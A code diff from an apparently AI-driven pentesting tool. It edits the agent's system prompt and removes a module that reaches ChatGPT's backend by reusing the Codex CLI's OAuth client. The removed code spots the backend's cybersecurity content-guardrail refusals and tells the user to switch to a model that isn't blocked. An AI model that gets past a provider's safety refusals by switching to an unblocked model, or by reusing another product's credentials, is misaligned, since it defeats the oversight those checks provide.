- `exec_command` runs each command in a fresh non-interactive shell (plain
|
||||
pipes, no TTY). To drive an interactive or long-running process with
|
||||
`write_stdin` — REPLs, `ssh`/`nc`/`ftp`, `sqlmap`, or to send Ctrl-C —
|
||||
`write_stdin` — REPLs, `ssh`/`nc`/`ftp`, `msfconsole`, or to send Ctrl-C —
|
||||
you MUST start it with `exec_command(cmd="...", tty=true)` and then
|
||||
`write_stdin(session_id=<id>, chars="...")`. Calling `write_stdin` on a
|
||||
default (non-TTY) command or on a process that has already exited fails with
|
||||
@@ -215,7 +215,6 @@ VALIDATION REQUIREMENTS:
|
||||
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
|
||||
- Reporting and fixing are ONE step, not two: when source is available, the reporting agent derives the concrete fix and files it INLINE via create_vulnerability_report (`code_locations` with `fix_before`/`fix_after` + `fix_pr_body`) — the report is not complete without it. Do NOT report first and then spawn a separate downstream agent to re-derive and re-apply the same patch; that just re-does the analysis and wastes tokens. (Do not silently patch a finding WITHOUT filing a report — the report, with its embedded fix, is the deliverable.)
|
||||
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
|
||||
- REVIEWING FILED FINDINGS (orchestrator/root agent): use list_reports to see every vulnerability filed so far in this scan (by any agent, root or child) — metadata-first with per-severity counts — and get_report to read one finding in full by its id. These are read-only orchestration tools: the root agent uses them to track coverage, avoid dispatching work on already-covered ground, assemble the finish_scan executive summary, and reason about attack-chaining across confirmed findings. Leaf/specialist agents should NOT call them — just do your assigned testing and file findings. Each entry shows which agent filed it (agent_name), and your own entries are flagged by_you. list_notes/get_note do the same for notes.
|
||||
</execution_guidelines>
|
||||
|
||||
<vulnerability_focus>
|
||||
@@ -450,10 +449,10 @@ PROXY & INTERCEPTION:
|
||||
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
|
||||
|
||||
PROGRAMMING:
|
||||
- Python 3, uv, Node.js/npm
|
||||
- Python 3, Node.js/npm
|
||||
- Full development environment
|
||||
- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally.
|
||||
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, etc.)
|
||||
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, etc.). The Go toolchain is not bundled, so `go install` is unavailable; the Go-based scanners are prebuilt and already on PATH.
|
||||
|
||||
Directories:
|
||||
- /workspace - where you should work.
|
||||
|
||||
@@ -17,8 +17,6 @@ from strix.config.loader import (
|
||||
persist_current,
|
||||
)
|
||||
from strix.config.settings import (
|
||||
ContextSettings,
|
||||
DedupeSettings,
|
||||
IntegrationSettings,
|
||||
LlmSettings,
|
||||
RuntimeSettings,
|
||||
@@ -28,8 +26,6 @@ from strix.config.settings import (
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ContextSettings",
|
||||
"DedupeSettings",
|
||||
"IntegrationSettings",
|
||||
"LlmSettings",
|
||||
"RuntimeSettings",
|
||||
|
||||
@@ -1,404 +0,0 @@
|
||||
"""ChatGPT (Codex) subscription auth: OAuth login, token refresh, and the OpenAI
|
||||
client that routes inference through the ChatGPT backend.
|
||||
|
||||
Mirrors OpenAI's Codex CLI: OAuth 2.0 + PKCE against ``auth.openai.com``, with the
|
||||
access token sent as a ``Bearer`` token to ``chatgpt.com/backend-api/codex``. Using
|
||||
a ChatGPT subscription outside OpenAI's own products is not officially supported by
|
||||
OpenAI; the user chooses this path knowingly. The OAuth constants are OpenAI's own
|
||||
Codex CLI values (the backend only accepts that client).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import contextlib
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import secrets
|
||||
import threading
|
||||
import time
|
||||
import urllib.parse
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Iterator
|
||||
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
PROVIDER = "codex"
|
||||
|
||||
CLIENT_ID = "app_EMoamEEZ73f0CkXaXp7hrann"
|
||||
AUTHORIZE_URL = "https://auth.openai.com/oauth/authorize"
|
||||
TOKEN_URL = "https://auth.openai.com/oauth/token" # noqa: S105 # nosec B105 - URL, not a secret
|
||||
CALLBACK_HOST = "localhost"
|
||||
CALLBACK_PORT = 1455
|
||||
CALLBACK_PATH = "/auth/callback"
|
||||
REDIRECT_URI = f"http://{CALLBACK_HOST}:{CALLBACK_PORT}{CALLBACK_PATH}"
|
||||
SCOPE = "openid profile email offline_access"
|
||||
|
||||
CODEX_BASE_URL = "https://chatgpt.com/backend-api/codex"
|
||||
ORIGINATOR = "codex_cli_rs"
|
||||
_ACCOUNT_CLAIM = "https://api.openai.com/auth"
|
||||
|
||||
_TOKEN_TIMEOUT = 30
|
||||
_EXPIRY_SKEW_S = 300
|
||||
|
||||
_refresh_lock = threading.Lock()
|
||||
|
||||
# Kept separate from cli-config.json so OAuth tokens never land in the env-var config.
|
||||
AUTH_PATH = Path.home() / ".strix" / "subscription-auth.json"
|
||||
|
||||
|
||||
def _read_store() -> dict[str, Any]:
|
||||
try:
|
||||
data = json.loads(AUTH_PATH.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return {}
|
||||
return data if isinstance(data, dict) else {}
|
||||
|
||||
|
||||
def _write_store(data: dict[str, Any]) -> None:
|
||||
AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
tmp = AUTH_PATH.with_suffix(".json.tmp")
|
||||
tmp.write_text(json.dumps(data, indent=2), encoding="utf-8")
|
||||
with contextlib.suppress(OSError):
|
||||
tmp.chmod(0o600)
|
||||
tmp.replace(AUTH_PATH)
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.chmod(0o600)
|
||||
|
||||
|
||||
def read_record() -> dict[str, Any] | None:
|
||||
record = _read_store().get(PROVIDER)
|
||||
if not isinstance(record, dict) or record.get("type") != "oauth":
|
||||
return None
|
||||
if not (record.get("access") and record.get("refresh") and record.get("account_id")):
|
||||
return None
|
||||
return record
|
||||
|
||||
|
||||
def is_authenticated() -> bool:
|
||||
return read_record() is not None
|
||||
|
||||
|
||||
def save_record(record: dict[str, Any]) -> None:
|
||||
data = _read_store()
|
||||
data[PROVIDER] = record
|
||||
_write_store(data)
|
||||
|
||||
|
||||
def logout() -> None:
|
||||
data = _read_store()
|
||||
if PROVIDER not in data:
|
||||
return
|
||||
del data[PROVIDER]
|
||||
if data:
|
||||
_write_store(data)
|
||||
return
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.unlink()
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
def _refresh_guard() -> Iterator[None]:
|
||||
"""Serialize token refresh within (lock) and across (flock) Strix processes,
|
||||
so concurrent runs can't both spend the single-use refresh token."""
|
||||
with _refresh_lock:
|
||||
try:
|
||||
import fcntl
|
||||
|
||||
lock_path = AUTH_PATH.with_suffix(".lock")
|
||||
lock_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
handle = lock_path.open("w")
|
||||
except (ImportError, OSError):
|
||||
yield
|
||||
return
|
||||
try:
|
||||
with contextlib.suppress(OSError):
|
||||
fcntl.flock(handle.fileno(), fcntl.LOCK_EX)
|
||||
yield
|
||||
finally:
|
||||
with contextlib.suppress(OSError):
|
||||
fcntl.flock(handle.fileno(), fcntl.LOCK_UN)
|
||||
handle.close()
|
||||
|
||||
|
||||
class CodexAuthError(Exception):
|
||||
def __init__(self, code: str, message: str | None = None) -> None:
|
||||
self.code = code
|
||||
super().__init__(message or code)
|
||||
|
||||
|
||||
class CodexContentGuardrailError(Exception):
|
||||
"""The ChatGPT backend refused a request via its content guardrail.
|
||||
Terminal — retrying identical content never clears the block."""
|
||||
|
||||
def __init__(self, model: str, original: BaseException | None = None) -> None:
|
||||
self.model = model
|
||||
self.original = original
|
||||
super().__init__(
|
||||
f"'{model}' was blocked by ChatGPT's content guardrails "
|
||||
f"(flagged as a possible cybersecurity risk). "
|
||||
f"Set STRIX_LLM to a model that isn't blocked and re-run."
|
||||
)
|
||||
|
||||
|
||||
_GUARDRAIL_MARKERS = (
|
||||
"flagged for possible cybersecurity risk",
|
||||
"trusted access for cyber",
|
||||
)
|
||||
|
||||
|
||||
def is_content_guardrail_error(exc: BaseException) -> bool:
|
||||
if isinstance(exc, CodexContentGuardrailError):
|
||||
return True
|
||||
text = str(exc).lower()
|
||||
return any(marker in text for marker in _GUARDRAIL_MARKERS)
|
||||
|
||||
|
||||
def _b64url(raw: bytes) -> str:
|
||||
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
|
||||
|
||||
|
||||
def generate_pkce() -> tuple[str, str]:
|
||||
verifier = _b64url(secrets.token_bytes(64))
|
||||
challenge = _b64url(hashlib.sha256(verifier.encode("ascii")).digest())
|
||||
return verifier, challenge
|
||||
|
||||
|
||||
def create_state() -> str:
|
||||
return secrets.token_hex(16)
|
||||
|
||||
|
||||
def build_authorize_url(challenge: str, state: str) -> str:
|
||||
params = {
|
||||
"response_type": "code",
|
||||
"client_id": CLIENT_ID,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"scope": SCOPE,
|
||||
"code_challenge": challenge,
|
||||
"code_challenge_method": "S256",
|
||||
"state": state,
|
||||
"id_token_add_organizations": "true",
|
||||
"codex_cli_simplified_flow": "true",
|
||||
"originator": ORIGINATOR,
|
||||
}
|
||||
return f"{AUTHORIZE_URL}?{urllib.parse.urlencode(params)}"
|
||||
|
||||
|
||||
def parse_redirect_input(value: str) -> tuple[str | None, str | None]:
|
||||
"""Extract ``(code, state)`` from a pasted redirect URL, ``code#state``,
|
||||
query string, or bare code."""
|
||||
value = (value or "").strip()
|
||||
if not value:
|
||||
return None, None
|
||||
with contextlib.suppress(ValueError):
|
||||
parsed = urllib.parse.urlparse(value)
|
||||
if parsed.scheme and parsed.query:
|
||||
query = urllib.parse.parse_qs(parsed.query)
|
||||
return _first(query, "code"), _first(query, "state")
|
||||
if "#" in value:
|
||||
code, _, state = value.partition("#")
|
||||
return code or None, state or None
|
||||
if "code=" in value:
|
||||
query = urllib.parse.parse_qs(value)
|
||||
return _first(query, "code"), _first(query, "state")
|
||||
return value, None
|
||||
|
||||
|
||||
def _first(query: dict[str, list[str]], key: str) -> str | None:
|
||||
values = query.get(key)
|
||||
return values[0] if values else None
|
||||
|
||||
|
||||
def _post_form(payload: dict[str, str]) -> dict[str, Any]:
|
||||
try:
|
||||
response = requests.post(
|
||||
TOKEN_URL,
|
||||
data=payload,
|
||||
headers={"Accept": "application/json"},
|
||||
timeout=_TOKEN_TIMEOUT,
|
||||
)
|
||||
except requests.RequestException as exc:
|
||||
raise CodexAuthError("unavailable", str(exc)) from exc
|
||||
if response.status_code >= 400:
|
||||
detail = response.text[:300]
|
||||
raise CodexAuthError("token_http_error", f"HTTP {response.status_code}: {detail}")
|
||||
data = json.loads(response.content or b"{}")
|
||||
if not isinstance(data, dict):
|
||||
raise CodexAuthError("bad_response", "token endpoint returned non-object")
|
||||
return data
|
||||
|
||||
|
||||
def _record_from_token_response(
|
||||
data: dict[str, Any], refresh_fallback: str | None = None
|
||||
) -> dict[str, Any]:
|
||||
access = data.get("access_token")
|
||||
# A refresh response may omit refresh_token when it isn't rotated; keep the old one.
|
||||
refresh = data.get("refresh_token") or refresh_fallback
|
||||
expires_in = data.get("expires_in")
|
||||
if not isinstance(access, str) or not access:
|
||||
raise CodexAuthError("bad_response", "token response missing access_token")
|
||||
if not isinstance(refresh, str) or not refresh:
|
||||
raise CodexAuthError("bad_response", "token response missing refresh_token")
|
||||
account_id = _account_id_from_jwt(access) or _account_id_from_jwt(
|
||||
data.get("id_token") if isinstance(data.get("id_token"), str) else ""
|
||||
)
|
||||
if not account_id:
|
||||
raise CodexAuthError("no_account_id", "could not read chatgpt_account_id from token")
|
||||
ttl = expires_in if isinstance(expires_in, int | float) else 3600
|
||||
return {
|
||||
"type": "oauth",
|
||||
"provider": PROVIDER,
|
||||
"access": access,
|
||||
"refresh": refresh,
|
||||
"account_id": account_id,
|
||||
"expires_at": time.time() + ttl,
|
||||
}
|
||||
|
||||
|
||||
def exchange_code(code: str, verifier: str) -> dict[str, Any]:
|
||||
data = _post_form(
|
||||
{
|
||||
"grant_type": "authorization_code",
|
||||
"client_id": CLIENT_ID,
|
||||
"code": code,
|
||||
"code_verifier": verifier,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
}
|
||||
)
|
||||
return _record_from_token_response(data)
|
||||
|
||||
|
||||
def refresh_tokens(refresh_token: str) -> dict[str, Any]:
|
||||
data = _post_form(
|
||||
{
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": CLIENT_ID,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
)
|
||||
return _record_from_token_response(data, refresh_fallback=refresh_token)
|
||||
|
||||
|
||||
def _account_id_from_jwt(token: str | None) -> str | None:
|
||||
"""Read the account id claim without verifying the JWT (the server enforces
|
||||
authenticity on use); it feeds the ``chatgpt-account-id`` header."""
|
||||
if not token or token.count(".") != 2:
|
||||
return None
|
||||
payload_b64 = token.split(".")[1]
|
||||
padding = "=" * (-len(payload_b64) % 4)
|
||||
try:
|
||||
payload = json.loads(base64.urlsafe_b64decode(payload_b64 + padding))
|
||||
except (ValueError, json.JSONDecodeError):
|
||||
return None
|
||||
if not isinstance(payload, dict):
|
||||
return None
|
||||
auth = payload.get(_ACCOUNT_CLAIM)
|
||||
if isinstance(auth, dict):
|
||||
account_id = auth.get("chatgpt_account_id")
|
||||
if isinstance(account_id, str) and account_id:
|
||||
return account_id
|
||||
organizations = payload.get("organizations")
|
||||
if isinstance(organizations, list) and organizations and isinstance(organizations[0], dict):
|
||||
org_id = organizations[0].get("id")
|
||||
if isinstance(org_id, str) and org_id:
|
||||
return org_id
|
||||
return None
|
||||
|
||||
|
||||
def _near_expiry(record: dict[str, Any]) -> bool:
|
||||
expires_at = record.get("expires_at")
|
||||
if not isinstance(expires_at, int | float):
|
||||
return True
|
||||
return expires_at - _EXPIRY_SKEW_S <= time.time()
|
||||
|
||||
|
||||
def get_valid_token() -> tuple[str, str]:
|
||||
"""Return ``(access_token, account_id)``, refreshing under the cross-process
|
||||
guard if near expiry."""
|
||||
record = read_record()
|
||||
if record is None:
|
||||
raise CodexAuthError("not_authenticated", "not signed in; run: strix auth login")
|
||||
if not _near_expiry(record):
|
||||
return record["access"], record["account_id"]
|
||||
with _refresh_guard():
|
||||
record = read_record()
|
||||
if record is None:
|
||||
raise CodexAuthError("not_authenticated", "not signed in; run: strix auth login")
|
||||
if not _near_expiry(record):
|
||||
return record["access"], record["account_id"]
|
||||
try:
|
||||
refreshed = refresh_tokens(record["refresh"])
|
||||
except CodexAuthError:
|
||||
# A peer process may have already spent this single-use refresh token.
|
||||
latest = read_record()
|
||||
if latest and latest["refresh"] != record["refresh"] and not _near_expiry(latest):
|
||||
return latest["access"], latest["account_id"]
|
||||
raise
|
||||
save_record(refreshed)
|
||||
return refreshed["access"], refreshed["account_id"]
|
||||
|
||||
|
||||
def build_openai_client() -> AsyncOpenAI:
|
||||
"""An ``AsyncOpenAI`` for the ChatGPT backend. A per-request hook re-stamps a
|
||||
fresh bearer token so long scans survive token expiry."""
|
||||
import asyncio
|
||||
|
||||
import httpx
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
get_valid_token() # fail fast at configure time if the sign-in is dead
|
||||
|
||||
async def _auth_hook(request: httpx.Request) -> None:
|
||||
access, account_id = await asyncio.to_thread(get_valid_token)
|
||||
request.headers["Authorization"] = f"Bearer {access}"
|
||||
request.headers["chatgpt-account-id"] = account_id
|
||||
|
||||
http_client = httpx.AsyncClient(
|
||||
timeout=httpx.Timeout(600.0, connect=30.0),
|
||||
event_hooks={"request": [_auth_hook]},
|
||||
)
|
||||
return AsyncOpenAI(
|
||||
api_key="strix-codex-oauth", # placeholder; the hook overwrites Authorization
|
||||
base_url=CODEX_BASE_URL,
|
||||
http_client=http_client,
|
||||
default_headers={
|
||||
"OpenAI-Beta": "responses=experimental",
|
||||
"originator": ORIGINATOR,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
_subscription_client: AsyncOpenAI | None = None
|
||||
|
||||
|
||||
def get_subscription_client() -> AsyncOpenAI:
|
||||
global _subscription_client # noqa: PLW0603
|
||||
if _subscription_client is None:
|
||||
_subscription_client = build_openai_client()
|
||||
return _subscription_client
|
||||
|
||||
|
||||
SUBSCRIPTION_PREFIX = "chatgpt/"
|
||||
|
||||
|
||||
def subscription_model(model_name: str | None) -> str | None:
|
||||
"""The model slug behind a ``chatgpt/<model>`` STRIX_LLM, or None."""
|
||||
name = (model_name or "").strip()
|
||||
if not name.lower().startswith(SUBSCRIPTION_PREFIX):
|
||||
return None
|
||||
return name[len(SUBSCRIPTION_PREFIX) :] or None
|
||||
|
||||
|
||||
def auth_mode(model_name: str | None) -> str:
|
||||
return "subscription" if subscription_model(model_name) else "api_key"
|
||||
+12
-390
@@ -2,50 +2,23 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import inspect
|
||||
import os
|
||||
import time
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
from agents import (
|
||||
set_default_openai_api,
|
||||
set_default_openai_key,
|
||||
set_tracing_disabled,
|
||||
)
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.fake_id import FAKE_RESPONSES_ID
|
||||
from agents.models.interface import Model
|
||||
from agents import set_default_openai_api, set_default_openai_key, set_tracing_disabled
|
||||
from agents.models.multi_provider import MultiProvider
|
||||
from agents.models.openai_responses import OpenAIResponsesModel
|
||||
from agents.retry import (
|
||||
ModelRetryBackoffSettings,
|
||||
ModelRetrySettings,
|
||||
RetryPolicyContext,
|
||||
retry_policies,
|
||||
)
|
||||
from openai.types.responses import Response, ResponseCompletedEvent
|
||||
from openai.types.responses.response_usage import ResponseUsage
|
||||
from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config.loader import load_settings
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import AsyncIterator
|
||||
from agents.models.interface import ModelProvider
|
||||
|
||||
from agents.agent_output import AgentOutputSchemaBase
|
||||
from agents.handoffs import Handoff
|
||||
from agents.items import ModelResponse, TResponseInputItem, TResponseStreamEvent
|
||||
from agents.models.interface import ModelProvider, ModelTracing
|
||||
from agents.retry import ModelRetryAdvice, ModelRetryAdviceRequest
|
||||
from agents.tool import Tool
|
||||
from agents.usage import Usage
|
||||
from openai import AsyncOpenAI
|
||||
from openai.types.responses.response_prompt_param import ResponsePromptParam
|
||||
|
||||
from strix.config.settings import LlmSettings, ReasoningEffort, Settings
|
||||
from strix.config.settings import Settings
|
||||
|
||||
|
||||
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
|
||||
@@ -60,211 +33,9 @@ def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
|
||||
normalized = context.normalized
|
||||
if normalized.is_abort:
|
||||
return False
|
||||
if codex.is_content_guardrail_error(context.error):
|
||||
return False
|
||||
return normalized.status_code is None
|
||||
|
||||
|
||||
class _CodexResponsesModel(OpenAIResponsesModel):
|
||||
"""Responses model for the ChatGPT subscription backend (always streamed, stateless)."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
model: str,
|
||||
openai_client: AsyncOpenAI,
|
||||
*,
|
||||
reasoning_effort: ReasoningEffort | None = None,
|
||||
) -> None:
|
||||
super().__init__(model, openai_client)
|
||||
self._reasoning_effort = reasoning_effort
|
||||
|
||||
def _codex_settings(self, model_settings: ModelSettings) -> ModelSettings:
|
||||
overrides = ModelSettings(store=False, response_include=["reasoning.encrypted_content"])
|
||||
effort = self._reasoning_effort
|
||||
if effort and effort != "none":
|
||||
# Clamp to efforts the backend accepts.
|
||||
if effort == "minimal":
|
||||
effort = "low"
|
||||
elif effort == "xhigh":
|
||||
effort = "high"
|
||||
overrides = overrides.resolve(ModelSettings(reasoning=Reasoning(effort=effort)))
|
||||
return model_settings.resolve(overrides)
|
||||
|
||||
async def _fetch_response(self, *args: Any, stream: bool = False, **kwargs: Any) -> Any:
|
||||
if len(args) >= 3: # model_settings is positional arg 2
|
||||
args = (*args[:2], self._codex_settings(args[2]), *args[3:])
|
||||
try:
|
||||
events = await super()._fetch_response(*args, stream=True, **kwargs) # type: ignore[call-overload]
|
||||
except Exception as exc:
|
||||
guardrail = self._as_guardrail(exc)
|
||||
if guardrail is not None:
|
||||
raise guardrail from exc
|
||||
raise
|
||||
guarded = self._guarded(events)
|
||||
if stream:
|
||||
return guarded
|
||||
final_response = None
|
||||
async for event in guarded:
|
||||
if getattr(event, "type", None) == "response.completed":
|
||||
final_response = event.response
|
||||
if final_response is None:
|
||||
msg = "ChatGPT backend stream ended without a completed response"
|
||||
raise RuntimeError(msg)
|
||||
return final_response
|
||||
|
||||
def _as_guardrail(self, exc: BaseException) -> codex.CodexContentGuardrailError | None:
|
||||
if isinstance(exc, codex.CodexContentGuardrailError):
|
||||
return exc
|
||||
if codex.is_content_guardrail_error(exc):
|
||||
return codex.CodexContentGuardrailError(self.model, exc)
|
||||
return None
|
||||
|
||||
async def _guarded(self, events: Any) -> AsyncIterator[Any]:
|
||||
"""Convert mid-stream guardrail rejections and close the stream on exit."""
|
||||
try:
|
||||
async for event in events:
|
||||
yield event
|
||||
except Exception as exc:
|
||||
guardrail = self._as_guardrail(exc)
|
||||
if guardrail is not None:
|
||||
raise guardrail from exc
|
||||
raise
|
||||
finally:
|
||||
await self._aclose(events)
|
||||
|
||||
@staticmethod
|
||||
async def _aclose(events: Any) -> None:
|
||||
aclose = getattr(events, "aclose", None)
|
||||
if callable(aclose):
|
||||
with contextlib.suppress(Exception):
|
||||
await aclose()
|
||||
return
|
||||
close = getattr(events, "close", None)
|
||||
if callable(close):
|
||||
with contextlib.suppress(Exception):
|
||||
result = close()
|
||||
if inspect.isawaitable(result):
|
||||
await result
|
||||
|
||||
|
||||
class _NonStreamingModel(Model):
|
||||
"""Serve the SDK's streamed run loop from a single non-streaming request.
|
||||
|
||||
Some OpenAI-compatible gateways do not support Server-Sent Events, or
|
||||
deliver them unreliably (dropping structured tool-call deltas, or stalling
|
||||
mid-stream so the whole turn waits out the read timeout). The SDK run loop
|
||||
Strix uses only issues streamed requests, so such a gateway fails every
|
||||
turn. Opt in with ``LLM_DISABLE_STREAMING=true`` to wrap the resolved model
|
||||
so each turn makes one non-streaming ``get_response`` (``stream:false`` on
|
||||
the wire) and the completed result is replayed as a single terminal stream
|
||||
event. The run loop then executes tools and emits run items from that final
|
||||
response exactly as it would for a real stream, so nothing else changes.
|
||||
"""
|
||||
|
||||
def __init__(self, inner: Model) -> None:
|
||||
self._inner = inner
|
||||
|
||||
async def close(self) -> None:
|
||||
await self._inner.close()
|
||||
|
||||
def get_retry_advice(self, request: ModelRetryAdviceRequest) -> ModelRetryAdvice | None:
|
||||
return self._inner.get_retry_advice(request)
|
||||
|
||||
async def get_response(
|
||||
self,
|
||||
system_instructions: str | None,
|
||||
input: str | list[TResponseInputItem], # noqa: A002
|
||||
model_settings: ModelSettings,
|
||||
tools: list[Tool],
|
||||
output_schema: AgentOutputSchemaBase | None,
|
||||
handoffs: list[Handoff],
|
||||
tracing: ModelTracing,
|
||||
*,
|
||||
previous_response_id: str | None,
|
||||
conversation_id: str | None,
|
||||
prompt: ResponsePromptParam | None,
|
||||
) -> ModelResponse:
|
||||
return await self._inner.get_response(
|
||||
system_instructions,
|
||||
input,
|
||||
model_settings,
|
||||
tools,
|
||||
output_schema,
|
||||
handoffs,
|
||||
tracing,
|
||||
previous_response_id=previous_response_id,
|
||||
conversation_id=conversation_id,
|
||||
prompt=prompt,
|
||||
)
|
||||
|
||||
async def stream_response(
|
||||
self,
|
||||
system_instructions: str | None,
|
||||
input: str | list[TResponseInputItem], # noqa: A002
|
||||
model_settings: ModelSettings,
|
||||
tools: list[Tool],
|
||||
output_schema: AgentOutputSchemaBase | None,
|
||||
handoffs: list[Handoff],
|
||||
tracing: ModelTracing,
|
||||
*,
|
||||
previous_response_id: str | None,
|
||||
conversation_id: str | None,
|
||||
prompt: ResponsePromptParam | None,
|
||||
) -> AsyncIterator[TResponseStreamEvent]:
|
||||
response = await self._inner.get_response(
|
||||
system_instructions,
|
||||
input,
|
||||
model_settings,
|
||||
tools,
|
||||
output_schema,
|
||||
handoffs,
|
||||
tracing,
|
||||
previous_response_id=previous_response_id,
|
||||
conversation_id=conversation_id,
|
||||
prompt=prompt,
|
||||
)
|
||||
yield _completed_stream_event(response, getattr(self._inner, "model", None))
|
||||
|
||||
|
||||
def _completed_stream_event(
|
||||
model_response: ModelResponse, model_name: object | None
|
||||
) -> TResponseStreamEvent:
|
||||
"""Wrap a non-streamed ``ModelResponse`` as the terminal event of a stream.
|
||||
|
||||
The run loop builds its authoritative per-turn response solely from the
|
||||
``response.completed`` event, so a single event carrying the full output
|
||||
and usage is all it needs.
|
||||
"""
|
||||
response = Response(
|
||||
id=model_response.response_id or FAKE_RESPONSES_ID,
|
||||
created_at=time.time(),
|
||||
model=str(model_name) if model_name else "",
|
||||
object="response",
|
||||
output=list(model_response.output),
|
||||
tool_choice="auto",
|
||||
tools=[],
|
||||
parallel_tool_calls=False,
|
||||
usage=_response_usage(model_response.usage),
|
||||
)
|
||||
return ResponseCompletedEvent(
|
||||
response=response,
|
||||
sequence_number=0,
|
||||
type="response.completed",
|
||||
)
|
||||
|
||||
|
||||
def _response_usage(usage: Usage | None) -> ResponseUsage | None:
|
||||
if usage is None:
|
||||
return None
|
||||
return ResponseUsage(
|
||||
input_tokens=usage.input_tokens,
|
||||
output_tokens=usage.output_tokens,
|
||||
total_tokens=usage.total_tokens,
|
||||
input_tokens_details=usage.input_tokens_details,
|
||||
output_tokens_details=usage.output_tokens_details,
|
||||
)
|
||||
|
||||
|
||||
class StrixProvider(MultiProvider):
|
||||
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
|
||||
so users type ``deepseek/deepseek-chat`` rather than
|
||||
@@ -288,23 +59,6 @@ class StrixProvider(MultiProvider):
|
||||
return self._get_fallback_provider("litellm"), f"ollama_chat/{stripped_model_name}"
|
||||
return self._get_fallback_provider("litellm"), original_model_name
|
||||
|
||||
def get_model(self, model_name: str | None) -> Model:
|
||||
llm = load_settings().llm
|
||||
slug = codex.subscription_model(model_name)
|
||||
if slug:
|
||||
# The ChatGPT subscription backend is always streamed; it has no
|
||||
# non-streaming mode to fall back to, so LLM_DISABLE_STREAMING
|
||||
# does not apply here.
|
||||
return _CodexResponsesModel(
|
||||
slug,
|
||||
codex.get_subscription_client(),
|
||||
reasoning_effort=llm.reasoning_effort,
|
||||
)
|
||||
model = super().get_model(model_name)
|
||||
if llm.disable_streaming:
|
||||
return _NonStreamingModel(model)
|
||||
return model
|
||||
|
||||
|
||||
DEFAULT_MODEL_RETRY = ModelRetrySettings(
|
||||
max_retries=5,
|
||||
@@ -323,42 +77,39 @@ DEFAULT_MODEL_RETRY = ModelRetrySettings(
|
||||
)
|
||||
|
||||
RECOMMENDED_MODEL_NAMES = (
|
||||
"openai/gpt-5.6",
|
||||
"openai/gpt-5.6-sol",
|
||||
"openai/gpt-5.6-terra",
|
||||
"openai/gpt-5.6-luna",
|
||||
"openai/gpt-5.6",
|
||||
"openai/gpt-5.5-pro",
|
||||
"openai/gpt-5.5",
|
||||
"openai/gpt-5.5-pro",
|
||||
"openai/gpt-5.4",
|
||||
"openai/gpt-5.3-codex",
|
||||
"anthropic/claude-fable-5",
|
||||
"anthropic/claude-opus-5",
|
||||
"anthropic/claude-opus-4-8",
|
||||
"anthropic/claude-opus-4-7",
|
||||
"anthropic/claude-sonnet-5",
|
||||
"anthropic/claude-sonnet-4-6",
|
||||
"vertex_ai/gemini-3.1-pro-preview",
|
||||
"gemini/gemini-3.1-pro-preview",
|
||||
"gemini/gemini-3.6-flash",
|
||||
"deepseek/deepseek-v4-pro",
|
||||
"deepseek/deepseek-v4-flash",
|
||||
"dashscope/qwen3.8-max",
|
||||
"dashscope/qwen3.7-max-2026-06-08",
|
||||
"moonshot/kimi-k3",
|
||||
"moonshot/kimi-k2.7-code",
|
||||
"moonshot/kimi-k2.6",
|
||||
)
|
||||
|
||||
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
|
||||
|
||||
FRONTIER_MODEL_FAMILIES = (
|
||||
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai"), ("gpt-5",)),
|
||||
(("azure", "azure_ai", "bedrock_mantle", "openai"), ("gpt-5",)),
|
||||
(
|
||||
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
|
||||
("claude-fable-5", "claude-opus-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
|
||||
("claude-fable-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
|
||||
),
|
||||
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
|
||||
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
|
||||
(("alibaba", "dashscope", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
|
||||
